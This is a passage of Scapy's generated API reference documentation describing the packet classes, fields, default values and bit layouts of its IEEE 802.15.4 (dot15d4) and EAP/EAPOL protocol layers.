+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|G|GTS SPE|GTS S|G| GTS DIR MASK|P|PA NU|P|PA NU|PA SHORT ADDRES|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |       PA LONG ADDRESSES       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. Dot15d4Beacon                        


Dot15d4Beacon fields






	src_panid

	XLEShortField

	0



	src_addr

	dot15d4AddressField

	None



	aux_sec_header

	PacketField (Cond)

	<Dot15d4AuxSecurityHeader  |>



	sf_sforder

	BitField  (4 bits)

	15



	sf_beaconorder

	BitField  (4 bits)

	15



	sf_assocpermit

	BitEnumField

	0



	sf_pancoord

	BitEnumField

	0



	sf_reserved

	BitField  (1 bit)

	0



	sf_battlifeextend

	BitEnumField

	0



	sf_finalcapslot

	BitField  (4 bits)

	15



	gts_spec_permit

	BitEnumField

	1



	gts_spec_reserved

	BitField  (4 bits)

	0



	gts_spec_desccount

	BitField  (3 bits)

	0



	gts_dir_reserved

	BitField (Cond) (1 bit)

	0



	gts_dir_mask

	BitField (Cond) (7 bits)

	0



	pa_reserved_1

	BitField  (1 bit)

	0



	pa_num_long

	BitField  (3 bits)

	0



	pa_reserved_2

	BitField  (1 bit)

	0



	pa_num_short

	BitField  (3 bits)

	0



	pa_short_addresses

	FieldListField

	[]



	pa_long_addresses

	FieldListField

	[]











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot15d4.py#L309-L310]

	




	
payload_guess

	Possible sublayers:
ZigBeeBeacon










	
class scapy.layers.dot15d4.Dot15d4Cmd(_pkt, /, *, dest_panid=65535, dest_addr=0, src_panid=0, src_addr=None, aux_sec_header=<Dot15d4AuxSecurityHeader  |>, cmd_id=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot15d4.py#L313-L359]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           DEST PANID          |           DEST ADDR           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           SRC PANID           |            SRC ADDR           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         AUX SEC HEADER        |     CMD ID    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. Dot15d4Cmd                          


Dot15d4Cmd fields






	dest_panid

	XLEShortField

	65535



	dest_addr

	dot15d4AddressField

	0



	src_panid

	XLEShortField (Cond)

	0



	src_addr

	dot15d4AddressField (Cond)

	None



	aux_sec_header

	PacketField (Cond)

	<Dot15d4AuxSecurityHeader  |>



	cmd_id

	ByteEnumField

	0











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot15d4.py#L347-L359]

	




	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot15d4.py#L342-L343]

	








	
class scapy.layers.dot15d4.Dot15d4CmdAssocReq(_pkt, /, *, allocate_address=0, security_capability=0, reserved2=0, reserved1=0, receiver_on_when_idle=0, power_source=0, device_type=0, alternate_pan_coordinator=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot15d4.py#L403-L417]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|A|S|R|R|R|P|D|A|
+-+-+-+-+-+-+-+-+

                     Fig. Dot15d4CmdAssocReq                      


Dot15d4CmdAssocReq fields






	allocate_address

	BitField  (1 bit)

	0



	security_capability

	BitField  (1 bit)

	0



	reserved2

	BitField  (1 bit)

	0



	reserved1

	BitField  (1 bit)

	0



	receiver_on_when_idle

	BitField  (1 bit)

	0



	power_source

	BitField  (1 bit)

	0



	device_type

	BitField  (1 bit)

	0



	alternate_pan_coordinator

	BitField  (1 bit)

	0











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot15d4.py#L416-L417]

	








	
class scapy.layers.dot15d4.Dot15d4CmdAssocResp(_pkt, /, *, short_address=65535, association_status=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot15d4.py#L420-L434]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         SHORT ADDRESS         |ASSOCIATION STA|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. Dot15d4CmdAssocResp                     


Dot15d4CmdAssocResp fields






	short_address

	XLEShortField

	65535



	association_status

	ByteEnumField

	0











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot15d4.py#L433-L434]

	








	
class scapy.layers.dot15d4.Dot15d4CmdCoordRealign(_pkt, /, *, panid=65535, coord_address=0, channel=0, dev_address=65535)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot15d4.py#L362-L382]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             PANID             |         COORD ADDRESS         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    CHANNEL    |          DEV ADDRESS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. Dot15d4CmdCoordRealign                    


Dot15d4CmdCoordRealign fields






	panid

	XLEShortField

	65535



	coord_address

	XLEShortField

	0



	channel

	ByteField

	0



	dev_address

	XLEShortField

	65535











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot15d4.py#L378-L382]

	




	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot15d4.py#L375-L376]

	








	
class scapy.layers.dot15d4.Dot15d4CmdCoordRealignPage(_pkt, /, *, channel_page=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot15d4.py#L385-L389]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  CHANNEL PAGE |
+-+-+-+-+-+-+-+-+

                 Fig. Dot15d4CmdCoordRealignPage                  


Dot15d4CmdCoordRealignPage fields






	channel_page

	ByteField

	0















	
class scapy.layers.dot15d4.Dot15d4CmdDisassociation(_pkt, /, *, disassociation_reason=2)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot15d4.py#L437-L450]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|DISASSOCIATION |
+-+-+-+-+-+-+-+-+

                  Fig. Dot15d4CmdDisassociation                   


Dot15d4CmdDisassociation fields






	disassociation_reason

	ByteEnumField

	2











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot15d4.py#L449-L450]

	








	
class scapy.layers.dot15d4.Dot15d4CmdGTSReq(_pkt, /, *, reserved=0, charact_type=0, gts_dir=0, gts_len=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot15d4.py#L453-L468]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|RES|C|G|GTS LEN|
+-+-+-+-+-+-+-+-+

                      Fig. Dot15d4CmdGTSReq                       


Dot15d4CmdGTSReq fields






	reserved

	BitField  (2 bits)

	0



	charact_type

	BitField  (1 bit)

	0



	gts_dir

	BitField  (1 bit)

	0



	gts_len

	BitField  (4 bits)

	0











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot15d4.py#L467-L468]

	








	
class scapy.layers.dot15d4.Dot15d4Data(_pkt, /, *, dest_panid=65535, dest_addr=65535, src_panid=0, src_addr=None, aux_sec_header=<Dot15d4AuxSecurityHeader  |>)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot15d4.py#L225-L261]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           DEST PANID          |           DEST ADDR           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           SRC PANID           |            SRC ADDR           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         AUX SEC HEADER        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. Dot15d4Data                         


Dot15d4Data fields






	dest_panid

	XLEShortField

	65535



	dest_addr

	dot15d4AddressField

	65535



	src_panid

	XLEShortField (Cond)

	0



	src_addr

	dot15d4AddressField (Cond)

	None



	aux_sec_header

	PacketField (Cond)

	<Dot15d4AuxSecurityHeader  |>











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot15d4.py#L239-L258]

	




	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot15d4.py#L260-L261]

	








	
class scapy.layers.dot15d4.Dot15d4FCS(_pkt, /, *, fcf_reserved_1=0, fcf_panidcompress=0, fcf_ackreq=0, fcf_pending=0, fcf_security=0, fcf_frametype=0, fcf_srcaddrmode=0, fcf_framever=0, fcf_destaddrmode=2, fcf_reserved_2=0, seqnum=1, fcs=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot15d4.py#L155-L187]

	Bases: Dot15d4

This class is a drop-in replacement for the Dot15d4 class above, except
it expects a FCS/checksum in the input, and produces one in the output.
This provides the user flexibility, as many 802.15.4 interfaces will have an AUTO_CRC setting  # noqa: E501
that will validate the FCS/CRC in firmware, and add it automatically when transmitting.  # noqa: E501


	
aliastypes

	




	
compute_fcs(data)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot15d4.py#L166-L179]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|F|F|F|F|F|FCF F|FCF|FCF|FCF|FCF|     SEQNUM    |      FCS      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                         Fig. Dot15d4FCS                          


Dot15d4FCS fields






	fcf_reserved_1

	BitField  (1 bit)

	0



	fcf_panidcompress

	BitEnumField

	0



	fcf_ackreq

	BitEnumField

	0



	fcf_pending

	BitEnumField

	0



	fcf_security

	BitEnumField

	0



	fcf_frametype

	BitEnumField

	0



	fcf_srcaddrmode

	BitEnumField

	0



	fcf_framever

	BitField  (2 bits)

	0



	fcf_destaddrmode

	BitEnumField

	2



	fcf_reserved_2

	BitField  (2 bits)

	0



	seqnum

	ByteField

	1



	fcs

	FCSField

	None











	
match_subclass = True

	




	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot15d4.py#L181-L187]

	








	
class scapy.layers.dot15d4.dot15d4AddressField(name, default, length_of=None, fmt='<H', adjust=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot15d4.py#L44-L99]

	Bases: Field


	
addfield(pkt, s, val)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot15d4.py#L63-L70]

	Add an internal value to a string






	
adjust

	




	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot15d4.py#L72-L78]

	




	
i2repr(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot15d4.py#L55-L61]

	Convert internal value to a nice representation






	
lengthFromAddrMode(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot15d4.py#L80-L99]

	




	
length_of

	








	
scapy.layers.dot15d4.util_srcpanid_present(pkt)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dot15d4.py#L395-L400]

	A source PAN ID is included if and only if both src addr mode != 0 and PAN ID Compression in FCF == 0








            

          

      

      

    

  

    
      
          
            
  
scapy.layers.eap

Extensible Authentication Protocol (EAP)


	
class scapy.layers.eap.EAP(_pkt, /, *, code=4, id=0, len=None, type=0, desired_auth_types=[], identity=b'', message=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/eap.py#L210-L295]

	Bases: Packet

RFC 3748 - Extensible Authentication Protocol (EAP)


	
FAILURE = 4

	




	
FINISH = 6

	




	
INITIATE = 5

	




	
REQUEST = 1

	




	
RESPONSE = 2

	




	
SUCCESS = 3

	




	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/eap.py#L265-L275]

	




	
classmethod dispatch_hook(_pkt=None, *args, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/eap.py#L256-L263]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      CODE     |       ID      |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |       DESIRED AUTH TYPES      |    IDENTITY   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |            MESSAGE            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                             Fig. EAP                             


EAP fields






	code

	ByteEnumField

	4



	id

	ByteField

	0



	len

	ShortField

	None



	type

	ByteEnumField (Cond)

	0



	desired_auth_types

	FieldListField (Cond)

	[]



	identity

	StrLenField (Cond)

	b''



	message

	StrLenField (Cond)

	b''











	
guess_payload_class(_)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/eap.py#L294-L295]

	




	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/eap.py#L277-L285]

	




	
post_build(p, pay)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/eap.py#L287-L292]

	




	
classmethod register_variant()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/eap.py#L252-L254]

	




	
registered_methods = {0: <class 'scapy.layers.eap.EAP'>, 4: <class 'scapy.layers.eap.EAP_MD5'>, 13: <class 'scapy.layers.eap.EAP_TLS'>, 17: <class 'scapy.layers.eap.LEAP'>, 21: <class 'scapy.layers.eap.EAP_TTLS'>, 25: <class 'scapy.layers.eap.EAP_PEAP'>, 43: <class 'scapy.layers.eap.EAP_FAST'>}

	








	
class scapy.layers.eap.EAPOL(_pkt, /, *, version=1, type=0, len=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/eap.py#L83-L116]

	Bases: Packet

EAPOL - IEEE Std 802.1X-2010


	
ASF = 4

	




	
EAP_PACKET = 0

	




	
KEY = 3

	




	
LOGOFF = 2

	




	
START = 1

	




	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/eap.py#L108-L113]

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/eap.py#L101-L103]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    VERSION    |      TYPE     |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. EAPOL                            


EAPOL fields






	version

	ByteEnumField

	1



	type

	ByteEnumField

	0



	len

	LenField

	None











	
hashret()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/eap.py#L105-L106]

	




	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/eap.py#L115-L116]

	




	
payload_guess

	Possible sublayers:
EAPOL_KEY, EAP, MKAPDU










	
class scapy.layers.eap.EAPOL_KEY(_pkt, /, *, key_descriptor_type=1, res2=0, smk_message=0, encrypted_key_data=0, request=0, error=0, secure=0, has_key_mic=1, key_ack=0, install=0, res=0, key_type=0, key_descriptor_type_version=0, key_length=None, key_replay_counter=0, key_nonce=b'', key_iv=b'', key_rsc=b'', key_id=b'', key_mic=b'', key_data_length=None, key_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/eap.py#L439-L505]

	Bases: Packet


	
aliastypes

	




	
answers(other)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/eap.py#L483-L487]

	




	
deprecated_fields: Dict[str, Tuple[str, str]] = {'key': ('key_data', '2.6.0'), 'len': ('key_length', '2.6.0')}

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/eap.py#L477-L478]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|KEY DESCRIPTOR |RES|S|E|R|E|S|H|K|I|RES|K|KEY D|   KEY LENGTH  |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |               KEY REPLAY COUNTER              |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                   KEY NONCE                   |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     KEY IV                    |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                    KEY RSC                    |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     KEY ID                    |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                    KEY MIC                    |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |        KEY DATA LENGTH        |    KEY DATA   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                          Fig. EAPOL_KEY                          


EAPOL_KEY fields






	key_descriptor_type

	ByteEnumField

	1



	res2

	BitField  (2 bits)

	0



	smk_message

	BitField  (1 bit)

	0



	encrypted_key_data

	BitField  (1 bit)

	0



	request

	BitField  (1 bit)

	0



	error

	BitField  (1 bit)

	0



	secure

	BitField  (1 bit)

	0



	has_key_mic

	BitField  (1 bit)

	1



	key_ack

	BitField  (1 bit)

	0



	install

	BitField  (1 bit)

	0



	res

	BitField  (2 bits)

	0



	key_type

	BitEnumField

	0



	key_descriptor_type_version

	BitEnumField

	0



	key_length

	LenField

	None



	key_replay_counter

	LongField

	0



	key_nonce

	XStrFixedLenField

	b''



	key_iv

	XStrFixedLenField

	b''



	key_rsc

	XStrFixedLenField

	b''



	key_id

	XStrFixedLenField

	b''



	key_mic

	XStrFixedLenField

	b''



	key_data_length

	FieldLenField

	None



	key_data

	XStrLenField

	b''











	
guess_key_number()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/eap.py#L489-L505]

	Determines 4-way handshake key number


	Returns:

	key number (1-4), or 0 if it cannot be determined










	
hashret()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/eap.py#L480-L481]

	








	
class scapy.layers.eap.EAP_FAST(_pkt, /, *, code=1, id=0, len=None, type=43, L=0, M=0, S=0, reserved=0, version=0, message_len=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/eap.py#L386-L407]

	Bases: EAP

RFC 4851 - “The Flexible Authentication via Secure Tunneling
Extensible Authentication Protocol Method (EAP-FAST)”


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      CODE     |       ID      |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |L|M|S|RES|VERSI|          MESSAGE LEN          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |              DATA             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. EAP_FAST                           


EAP_FAST fields






	code

	ByteEnumField

	1



	id

	ByteField

	0



	len

	FieldLenField

	None



	type

	ByteEnumField

	43



	L

	BitField  (1 bit)

	0



	M

	BitField  (1 bit)

	0



	S

	BitField  (1 bit)

	0



	reserved

	BitField  (2 bits)

	0



	version

	BitField  (3 bits)

	0



	message_len

	IntField (Cond)

	0



	data

	XStrLenField

	b''











	
match_subclass = True

	








	
class scapy.layers.eap.EAP_MD5(_pkt, /, *, code=1, id=0, len=None, type=4, value_size=None, value=b'', optional_name=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/eap.py#L298-L314]

	Bases: EAP

RFC 3748 - “Extensible Authentication Protocol (EAP)”


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      CODE     |       ID      |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |   VALUE SIZE  |             VALUE             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|         OPTIONAL NAME         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. EAP_MD5                           


EAP_MD5 fields






	code

	ByteEnumField

	1



	id

	ByteField

	0



	len

	FieldLenField

	None



	type

	ByteEnumField

	4



	value_size

	FieldLenField

	None



	value

	XStrLenField

	b''



	optional_name

	XStrLenField

	b''











	
match_subclass = True

	








	
class scapy.layers.eap.EAP_PEAP(_pkt, /, *, code=1, id=0, len=None, type=25, L=0, M=0, S=0, reserved=0, version=1, tls_message_len=0, tls_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/eap.py#L363-L383]

	Bases: EAP

draft-josefsson-pppext-eap-tls-eap-05.txt - “Protected EAP Protocol (PEAP)”


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      CODE     |       ID      |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |L|M|S|RESER|VER|        TLS MESSAGE LEN        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            TLS DATA           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. EAP_PEAP                           


EAP_PEAP fields






	code

	ByteEnumField

	1



	id

	ByteField

	0



	len

	FieldLenField

	None



	type

	ByteEnumField

	25



	L

	BitField  (1 bit)

	0



	M

	BitField  (1 bit)

	0



	S

	BitField  (1 bit)

	0



	reserved

	BitField  (3 bits)

	0



	version

	BitField  (2 bits)

	1



	tls_message_len

	IntField (Cond)

	0



	tls_data

	XStrLenField

	b''











	
match_subclass = True

	








	
class scapy.layers.eap.EAP_TLS(_pkt, /, *, code=1, id=0, len=None, type=13, L=0, M=0, S=0, reserved=0, tls_message_len=0, tls_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/eap.py#L317-L336]

	Bases: EAP

RFC 5216 - “The EAP-TLS Authentication Protocol”


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      CODE     |       ID      |              LEN              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      TYPE     |L|M|S| RESERVED|        TLS MESSAGE LEN        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |            TLS DATA           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                           Fig. EAP_TLS                           


EAP_TLS fields






	code

	ByteEnumField

	1



	id

	ByteField

	0



	len

	FieldLenField

	None



	type

	ByteEnumField

	13



	L

	BitField  (1 bit)

	0



	M

	BitField  (1 bit)

	0



	S

	BitField  (1 bit)

	0



	reserved

	BitField  (5 bits)

	0



	tls_message_len

	IntField (Cond)

	0



	tls_data

	XStrLenField

	b''











	
match_subclass = True

	








	
class scapy.layers.eap.EAP_TTLS(_pkt, /, *, code=1, id=0, len=None, type=21, L=0, M=0, S=0, reserved=0, version=0, message_len=0, data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/eap.py#L339-L360]

	Bases: EAP

RFC 5281 - “Extensible Authentication Protocol Tunneled Transport Layer
Security Authenticated Protocol Version 0 (EAP-TTLSv0)”


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
